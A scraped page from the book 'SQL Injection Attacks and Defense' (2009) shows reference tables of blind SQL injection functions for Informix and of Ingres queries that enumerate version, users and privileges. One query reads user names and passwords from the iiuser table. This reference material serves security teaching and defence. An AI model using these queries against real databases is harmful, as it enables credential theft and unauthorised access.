28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

452 Chapter 10 • References<br />

Blind <strong>SQL</strong> <strong>Injection</strong> Functions: Informix<br />

Table 10.29 lists functions that are useful when performing blind <strong>SQL</strong> injection attacks.<br />

Table 10.29 Blind <strong>SQL</strong> <strong>Injection</strong> Functions<br />

Data<br />

String length<br />

Extract substring from<br />

a given string<br />

String (‘ABC’) representation<br />

with no single quotes<br />

Query<br />

LENGTH()<br />

SELECT SUBSTRING('ABCD' FROM 4 FOR 1) FROM<br />

systables where tabid = 1;<br />

-- returns 'D'<br />

SELECT CHR(65)||CHR(66)||CHR(67) FROM systables<br />

where tabid = 1;<br />

Ingres Cheat Sheet<br />

The Ingres database is an open source database available for all major operating systems.<br />

Ingres is one of the least popular databases to find integrated with a Web application. For further<br />

information <strong>and</strong> Ingres tutorials see http://ariel.its.unimelb.edu.au/∼yuan/ingres.html.<br />

Enumerating Database<br />

Configuration Information <strong>and</strong> Schema<br />

Table 10.30 lists <strong>SQL</strong> statements used to extract key configuration information. Table 10.31<br />

lists the <strong>SQL</strong> statements used to enumerate schema information.<br />

Table 10.30 Extracting Ingres Database Configuration Information<br />

Data<br />

Version<br />

Current user<br />

List users<br />

Current user privileges<br />

Query<br />

SELECT dbmsinfo('_version');<br />

SELECT dbmsinfo('system_user');<br />

SELECT dbmsinfo('session_user');<br />

SELECT name, password FROM iiuser;<br />

SELECT dbmsinfo('select_syscat');<br />

SELECT dbmsinfo('db_privileges');<br />

SELECT dbmsinfo('current_priv_mask');<br />

SELECT dbmsinfo('db_admin');<br />

SELECT dbmsinfo('security_priv');<br />

SELECT dbmsinfo('create_table');<br />

SELECT dbmsinfo('create_procedure');

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!